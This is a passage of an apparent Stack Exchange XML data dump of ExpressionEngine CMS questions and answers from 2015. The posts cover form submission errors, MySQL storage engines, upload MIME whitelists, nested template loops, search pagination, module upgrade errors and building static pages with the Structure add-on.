[L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to submit the form the Chrome JS inspector shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`POST (**URL removed) /en/respond/contact-the-hope?ACT=50 404 (Not Found)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I threw a quick EE contact form in and it submits/sends email successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-06-22T14:20:36.083" Title="FreeformPro Not Submitting After Upgrade" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32039" PostTypeId="2" ParentId="32038" CreationDate="2015-06-22T14:20:36.083" Score="0" Body="&lt;p&gt;I might be wrong but that first line looks like it's saying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If the request DOES NOT include ACT=50 route it to index.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd try removing that and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-06-22T14:20:36.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32040" PostTypeId="1" CreationDate="2015-06-22T14:29:15.643" Score="1" ViewCount="182" Body="&lt;p&gt;I've got a site that will not let me create any new custom fields. On a test install I changed the MySql storage engine from InnoDB to my MyISAM, which seemed to fix it. Is this safe to do on a live site?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastEditorUserId="159" LastEditDate="2015-07-22T15:13:24.560" LastActivityDate="2015-12-24T02:48:08.483" Title="Is it safe to change the MySQL storage engine on a live site?" Tags="|mysql|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32041" PostTypeId="2" ParentId="32040" CreationDate="2015-06-22T14:34:04.397" Score="0" Body="&lt;p&gt;Well, the default storage engine of EECMS is MyISAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/optimization/handling_extreme_traffic.html#database-activity&quot; rel=&quot;nofollow&quot;&gt;user guide&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExpressionEngine uses the default MySQL storage engine as specified by the MySQL server when it is installed, which in nearly every case will be MyISAM. This is an appropriate choice since ExpressionEngine is primarily a read-heavy application, hosts are typically much more familiar with tuning the server for that storage engine, and using different storage engines for different tables requires greater resource usage and more nuanced server management than most administrators will typically allow.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-06-22T14:34:04.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32042" PostTypeId="2" ParentId="32040" CreationDate="2015-06-22T14:42:38.427" Score="1" Body="&lt;p&gt;I have a production site running tables on the InnoDB engine; triggers and full-text search indexing and all. Everything seems copacetic. However, I would recommend (before building anything that will be pushed to production) that you store an &lt;strong&gt;image&lt;/strong&gt; backup of your entire environment (or at least your database server) before moving forward with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's running on EE 2.9.0.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-22T14:42:38.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32043" PostTypeId="1" CreationDate="2015-06-22T15:04:50.907" Score="0" ViewCount="83" Body="&lt;p&gt;I can't seem the find the location for the member profile templates' languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a front-end type of control panel for members. It's based off of the default member templates that come with EE, and I am customizing that. What I want to do is change the standard language used for all the member template functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: {lang:username_and_password} outputs &quot;Username and Password&quot;. Or {lang:edit_profile} outputs something like &quot;Edit Your Profile&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change what those language terms render. I've looked inside the control panel found settings that I thought would change this, but only seem to affect the back-end control panel language, not the front-end member profile templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't find similar questions on here, or topics from EE manuals. &lt;/p&gt;&#xA;" OwnerUserId="2739" LastActivityDate="2017-01-25T03:38:55.957" Title="Member Profile Templates' Language Location?" Tags="|templates|language|profile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32044" PostTypeId="2" ParentId="32021" CreationDate="2015-06-22T17:16:09.813" Score="0" Body="&lt;p&gt;In Channel Images and you paste or write in a description field you have to click out of the field so it saves. The AJAX action is on the &quot;blur&quot; so if you click submit in EE the blur never occurs because how EE handles the submit.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-06-22T17:16:09.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32045" PostTypeId="2" ParentId="32043" CreationDate="2015-06-22T19:05:56.537" Score="0" Body="&lt;p&gt;I'm pretty sure you just have to translate default (English) lang pack and create new lang folder for the translated file versions. And then setup default language for the translated if you don't want English to be default. It's a jungle and takes time but it's worth it if you need it. And of course, if I remember right, someone is even selling language pack at devot:ee...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/languages.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/general/languages.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorDisplayName="user3901" LastEditDate="2017-01-25T03:38:55.957" LastActivityDate="2017-01-25T03:38:55.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32046" PostTypeId="2" ParentId="32030" CreationDate="2015-06-22T19:14:11.310" Score="2" Body="&lt;p&gt;Why just using either snippet or direct put to template meta-part instead of using PHP in-template if editors put full URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;  &amp;lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url={external_link}&quot;&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-06-22T19:14:11.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32047" PostTypeId="1" CreationDate="2015-06-23T01:49:22.917" Score="0" ViewCount="199" Body="&lt;p&gt;Let me start off by saying I am completely new to EE (I have mostly worked with WP before). I have watched several tutorials, but I have yet to get the hang of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise me on where to start to make some static pages that are available through the top nav (like most websites). I have the Structure plugin downloaded. Here is my site as it stands: &lt;a href=&quot;http://www.smplouisiana.org&quot; rel=&quot;nofollow&quot;&gt;www.smplouisiana.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make the site deeper than a 1 page, dynamic, channel. If someone could give me some starting points on this I would greatly appreciate it. I'll be happy to provide any other information requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="6415" LastActivityDate="2016-06-05T14:56:36.433" Title="How do I create a static page with Structure?" Tags="|structure|ee|static|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32048" PostTypeId="2" ParentId="25495" CreationDate="2015-06-23T09:47:54.730" Score="1" Body="&lt;p&gt;You can try Lonely Cat&lt;br&gt;&#xA;Which will set a single category.&lt;br&gt;&#xA;Possibly needs @Cheyney's answer too (Not auto-assign category parents)&lt;br&gt;&#xA;&lt;a href=&quot;https://devot-ee.com/add-ons/lonely-cat&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/lonely-cat&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2015-06-23T09:47:54.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32049" PostTypeId="1" AcceptedAnswerId="32051" CreationDate="2015-06-23T13:48:45.377" Score="0" ViewCount="254" Body="&lt;p&gt;I'm having trouble trying to upload an InDesign file to my EE site. I've added the following to the &lt;code&gt;system/expressionengine/config/mimes.php&lt;/code&gt; file &lt;code&gt;application/x-indesign&lt;/code&gt; however upon uploading the file I'm shown an error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File not allowed.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a way around this? I've successfully added a photoshop file to the mime list and that works perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a small slice of the mime $whitelist array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'application/x-dvi', // .dvi&#xA;'application/x-gtar', // .gtar&#xA;'application/x-gzip', // .gz&#xA;'application/x-indesign', // .indd&#xA;'application/x-photoshop', // .psd&#xA;'application/x-rar-compressed', // .rar&#xA;'application/x-stuffit', // .sit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2015-06-23T14:23:31.753" LastActivityDate="2015-06-23T14:54:29.213" Title="Cannot upload Adobe InDesign file" Tags="|file-uploads|file-manager|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32051" PostTypeId="2" ParentId="32049" CreationDate="2015-06-23T14:08:56.897" Score="1" Body="&lt;p&gt;What version of EE are you using? Modern (2+) use an array to identify mime type allowances. In my version I'm looking at (2.9.2), it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mimes = array(&#xA;                'ai'    =&amp;gt;  'application/postscript',&#xA;                'aif'   =&amp;gt;  'audio/x-aiff',&#xA;                'aifc'  =&amp;gt;  'audio/x-aiff',&#xA;                'aiff'  =&amp;gt;  'audio/x-aiff',&#xA;                'avi'   =&amp;gt;  'video/x-msvideo',&#xA;                'bin'   =&amp;gt;  'application/macbinary',&#xA;                'bmp'   =&amp;gt;  'image/bmp',&#xA;                 ... and so on ...&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you'd want to add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                'indd'  =&amp;gt;  'application/octet-stream',        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                'indd'  =&amp;gt;  'application/x-indesign',        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                'indd'  =&amp;gt;  'application/x-adobe-indesign',        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR to be safe&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                'indd'  =&amp;gt;  array('application/octet-stream',        &#xA;                                  'application/x-indesign',        &#xA;                                  'application/x-adobe-indesign'),        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to try them all, the internet is reporting a few different things and it's quicker to just test these variants and see what works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm not sure what version you are running, but that appears to be a malformed mime type array (verified to be this format as far back as 2.5.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Kieran McClung mentioned,  EllisLab has switched to a new mimetype detection library for 2.10+. At this point, we now have a $whitelist flat array instead of a $mimes array that can have a second layer of depth. I'm pretty sure adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'application/octet-stream'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;was the fix, although Keiran said all three were needed, which would have resulted in a $whitelist array that looked like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$whitelist = array(&#xA;    'application/csv', // .csv&#xA;    'application/epub+zip', // .epub&#xA;    'application/excel', // .csv, .xl, .xls&#xA;    'application/mac-binhex40', // .hqx&#xA;    ... and so on ...&#xA;    'application/octet-stream', // .indd&#xA;    'application/x-indesign', // .indd&#xA;    'application/x-adobe-indesign', // .indd&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that got things whipped into shape!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-06-23T14:54:29.213" LastActivityDate="2015-06-23T14:54:29.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32053" PostTypeId="2" ParentId="6356" CreationDate="2015-06-23T15:08:50.133" Score="1" Body="&lt;p&gt;If you don't want to enable PHP in your templates you can also use &lt;a href=&quot;https://github.com/nathanpitman/np_access_control_allow_origin.pi.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nathanpitman/np_access_control_allow_origin.pi.ee_addon&lt;/a&gt; to do this. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-06-23T15:08:50.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32054" PostTypeId="1" CreationDate="2015-06-23T18:25:58.737" Score="0" ViewCount="50" Body="&lt;pre&gt;&lt;code&gt;{exp:gmap:results order_by=&quot;distance&quot; sort=&quot;asc&quot;}&#xA;    {if has_searched}&#xA;        {results}&#xA;            &amp;lt;script&amp;gt;console.log(&quot;{entry_id}&quot;);&amp;lt;/script&amp;gt;&#xA;            {!-- Entry ID for store is output to console --}&#xA;            {exp:channel:entries channel=&quot;product&quot;}&#xA;                &amp;lt;script&amp;gt;console.log(&quot;{entry_id}&quot;);&amp;lt;/script&amp;gt;&#xA;                {!-- store entry ID is output to console, not product entry ID --}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;               &amp;lt;/td&amp;gt;&#xA;           &amp;lt;/tr&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/results}&#xA;{/exp:gmap:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to output a tabular list of all the products associated with the stores returned by the search results. In this setup, the product entries have a store relationship field. But not vice versa. That is because Channel Form does not allow the submission of data to two entries at a time (i.e. submit the product data to product channel, then append the product ID to the products relationship in the store channel entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The products are created by the stores since the store channel is really the channel containing all the member data since I use the Zoo Visitor plugin. So, the stores (i.e. members) create the products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the &lt;code&gt;{results}{/results}&lt;/code&gt; pair tag loops through the store channel. A solution I thought of was to have the product channel entry loop with the &lt;code&gt;author_id&lt;/code&gt; parameter set to equal the &lt;code&gt;entry_id&lt;/code&gt; of the store channel. But I get no output with this parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:results order_by=&quot;distance&quot; sort=&quot;asc&quot;}&#xA;    {if has_searched}&#xA;        {results}&#xA;            &amp;lt;script&amp;gt;console.log(&quot;{entry_id}&quot;);&amp;lt;/script&amp;gt;&#xA;            {!-- Entry ID for store is output to console --}&#xA;            {exp:channel:entries channel=&quot;product&quot; author_id=&quot;{entry_id}&quot;}&#xA;                &amp;lt;script&amp;gt;console.log(&quot;{entry_id}&quot;);&amp;lt;/script&amp;gt;&#xA;                {!-- store entry ID is output to console, not product entry ID --}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;...&amp;lt;/td&amp;gt;&#xA;               &amp;lt;/td&amp;gt;&#xA;           &amp;lt;/tr&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/results}&#xA;{/exp:gmap:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without that parameter, I get the products, but I get every single product entry whose repetition is equal to the number of stores. So, I tested to see what entry ID I get inside the outer loop and the inner loop. In both instances I get the store entry ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to resolve this so that I can &lt;strong&gt;1&lt;/strong&gt;: filter the products with the &lt;code&gt;author_id&lt;/code&gt; parameter being equal to the entry ID of the outer loop entry ID? And &lt;strong&gt;2&lt;/strong&gt;: fix the inner loop so that &lt;code&gt;{entry_id}&lt;/code&gt; returns the product ID, not the store ID?&lt;/p&gt;&#xA;" OwnerUserId="2916" LastActivityDate="2016-06-06T20:59:21.407" Title="Listing products related to store in google maps search results" Tags="|channel-entries|zoo-visitor|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32056" PostTypeId="2" ParentId="32054" CreationDate="2015-06-23T19:01:55.147" Score="0" Body="&lt;p&gt;I would use VMG nested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/vmg-nested&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/vmg-nested&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin allows you to use your channel tags in the exact same way, but allow you to &lt;strong&gt;prefix&lt;/strong&gt; your variable outputs. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:vmg_nested:channel:entries channel=&quot;news&quot; prefix=&quot;news}&#xA;    &amp;lt;!-- outside entry_id --&amp;gt;&#xA;    {news:entry_id}&#xA;&#xA;    {exp:vmg_nested:channel:entries channel=&quot;blog&quot; prefix=&quot;blog&quot; author_id=&quot;{news:entry_id}&quot;&#xA;&#xA;            &amp;lt;!-- inside entry_id --&amp;gt;&#xA;            {blog:entry_id}&#xA;&#xA;            &amp;lt;!-- ... magic! outside entry_id --&amp;gt;&#xA;            {news:entry_id}&#xA;&#xA;    {/exp:vmg_nested:channel:entries}&#xA;&#xA;{/exp:vmg_nested:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This might be your ticket.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-23T19:01:55.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32057" PostTypeId="2" ParentId="31777" CreationDate="2015-06-23T19:07:37.927" Score="0" Body="&lt;p&gt;I changed my JavaScript so that when the Insert Row icons is clicked I trigger the add row click and then move to the newly created row to the correct location in the table.  This allows for the EE JavaScript to handle any custom fields and now File fields work correctly.&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-06-23T19:07:37.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32058" PostTypeId="1" AcceptedAnswerId="32059" CreationDate="2015-06-23T19:21:30.850" Score="0" ViewCount="120" Body="&lt;p&gt;This is what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    result_page=&quot;search/clinical-trials/&quot;&#xA;    collection=&quot;clinical-trials&quot;&#xA;}&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;Search...&quot; value=&quot;{low_search_keywords}&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;button button-postfix-search&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&#xA;{exp:low_search:results&#xA;    collection=&quot;clinical-trials&quot;&#xA;    status=&quot;open&quot;&#xA;    limit=&quot;10&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    paginate=&quot;both&quot;&#xA;    pagination_base=&quot;search/clinical-trials&quot;&#xA;    status=&quot;open&quot;&#xA;    keywords:inflect=&quot;yes&quot;&#xA;    keywords:lang=&quot;en&quot;&#xA;    keywords:mode=&quot;auto&quot;&#xA;    keywords:loose=&quot;right&quot;&#xA;    keywords:stem=&quot;yes&quot;&#xA;}&#xA;&#xA;    &amp;lt;a href=&quot;{page_url}/&quot; class=&quot;channel {channel}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&#xA;    {paginate}&#xA;        &amp;lt;ul class=&quot;pagination pagination-lg&quot;&amp;gt;&#xA;        {pagination_links}&#xA;        {first_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;First&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/first_page}&#xA;        {previous_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo; Previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/previous_page}&#xA;        {page}&#xA;            &amp;lt;li{if current_page} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;        {next_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Next &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/next_page}&#xA;        {last_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/last_page}&#xA;        {/pagination_links}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/paginate}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like everything is working properly until I look at the pagination URL after I pass a keyword. For example, I entered &quot;cancer&quot; as a keyword in the form and hit submit. This is the page URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/search/clinical-trials?keywords=cancer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the pagination link is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/search/clinical-trials/P10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's lacking the keywords query! It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/search/clinical-trials/P10?keywords=cancer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what's going on here? I have the same code in other pages on my site and the pagination links seem to be forming properly.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-06-23T20:02:30.583" Title="Low Search pagination not including passed keywords" Tags="|low-search|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32059" PostTypeId="2" ParentId="32058" CreationDate="2015-06-23T20:02:30.583" Score="3" Body="&lt;p&gt;When not using encoded queries, Low Search will try and add the GET vars to the pagination URLs automatically. If that fails, you can always add the query string manually, by using this as your pagination links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{pagination_url}{low_search_query_string}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-23T20:02:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32060" PostTypeId="1" AcceptedAnswerId="32063" CreationDate="2015-06-23T20:34:08.687" Score="1" ViewCount="355" Body="&lt;p&gt;I'm trying to update Freeform (free version) from 3.1.2 to 4.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/em&gt;&lt;/strong&gt; I recently updated EE from v2.5.3 to v2.9.3&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I upload the new folders to the system and themes directories, and go to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Admin &gt; Modules &gt; &lt;strong&gt;Run Module Updates&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred&#xA;  Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'settings' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;UPDATE &lt;code&gt;exp_freeform_fieldtypes&lt;/code&gt; SET &lt;code&gt;settings&lt;/code&gt; = '[]'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/freeform/models/freeform_model.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 471&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried to revert back, by replacing the folders in system and themes with the old version and, then I get this error in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Admin &gt; Modules &gt; &lt;strong&gt;Freeform&lt;/strong&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Creating default object from empty value&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: addon_builder/addon_builder.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 1333&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Call to undefined method Cp::set_variable() in&#xA;  /admin/expressionengine/third_party/freeform/addon_builder/addon_builder.php&#xA;  on line 1389&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And now I'm stuck...&lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2015-06-24T02:07:06.950" Title="Run Module Update error when updating Freeform (free) from 3.1.2 to 4.2.2" Tags="|solspace-freeform|php-errors|update|updating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32061" PostTypeId="2" ParentId="32047" CreationDate="2015-06-23T21:00:31.557" Score="0" Body="&lt;p&gt;You should definitely read through the documentation on Structure. Pay great attention to the difference between a managed page, listing page, and an asset. I rarely use assets, but it's worth knowing what they can do for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of getting you started, go to Structure and click on the Channel Settings button. You will see three columns Channel | Type | Options. Let's assume you have a channel already named &quot;static&quot;. In the type column, choose page and click the &quot;Show in page selector&quot; checkbox. Next in the options column, choose a pre-existing template you'd like to use for static pages. Save your Channel Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next click on the Pages button in Structure and click the Add Page button. This will create a static page. Populate the title and save the page. That page will show up in the Structure hierarchy. You can choose to add more pages at the same level by clicking the same Pages button you clicked before, or you can hover over a previous page and add a child page below it. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Page (URL = page)&#xA;  -- Child Page (URL = child-page)&#xA;     -- Grandchild Page (URL = grandchild-page)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should then be able to access those pages with these URLs respectively:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/page/&lt;/li&gt;&#xA;&lt;li&gt;/page/child-page/&lt;/li&gt;&#xA;&lt;li&gt;/page/child-page/grandchild-page/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure you've uploaded a minimum .htaccess file to the root directory of your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;RewriteEngine on  &#xA;RewriteBase /&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you can choose to change the template you want to use for any of the pages you've added to Structure. For example, you may want to render a static page with a right column or a left column. Just create two different templates and within the entry change your Structure template to the one that fits your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that you may want to 